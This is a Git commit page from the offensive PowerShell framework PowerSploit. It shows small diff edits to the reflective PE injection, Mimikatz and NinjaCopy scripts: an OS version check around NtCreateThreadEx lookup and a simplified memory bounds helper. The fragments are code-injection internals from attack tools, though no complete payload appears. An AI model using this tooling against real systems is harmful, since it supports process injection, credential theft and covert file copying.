Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev

This commit is contained in:
Harmj0y 2015-12-14 21:54:11 -05:00
parent 0181ff0c09 00af1656b2
commit dae9d91fdb
3 changed files with 17 additions and 47 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
CodeExecution/Invoke-ReflectivePEInjection.ps1
View File

@ -710,10 +710,13 @@ $RemoteScriptBlock = {
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@ -909,24 +912,12 @@ $RemoteScriptBlock = {
[IntPtr] [IntPtr]
$StartAddress, $StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr] [IntPtr]
$Size $Size
) )
[IntPtr]$FinalEndAddress = [IntPtr]::Zero [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress $PEEndAddress = $PEInfo.EndAddress

25
Exfiltration/Invoke-Mimikatz.ps1
View File

@ -609,10 +609,13 @@ $RemoteScriptBlock = {
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@ -799,24 +802,12 @@ $RemoteScriptBlock = {
[IntPtr] [IntPtr]
$StartAddress, $StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr] [IntPtr]
$Size $Size
) )
[IntPtr]$FinalEndAddress = [IntPtr]::Zero [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress $PEEndAddress = $PEInfo.EndAddress

14
Exfiltration/Invoke-NinjaCopy.ps1
View File

@ -818,24 +818,12 @@ $RemoteScriptBlock = {
[IntPtr] [IntPtr]
$StartAddress, $StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr] [IntPtr]
$Size $Size
) )
[IntPtr]$FinalEndAddress = [IntPtr]::Zero [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress $PEEndAddress = $PEInfo.EndAddress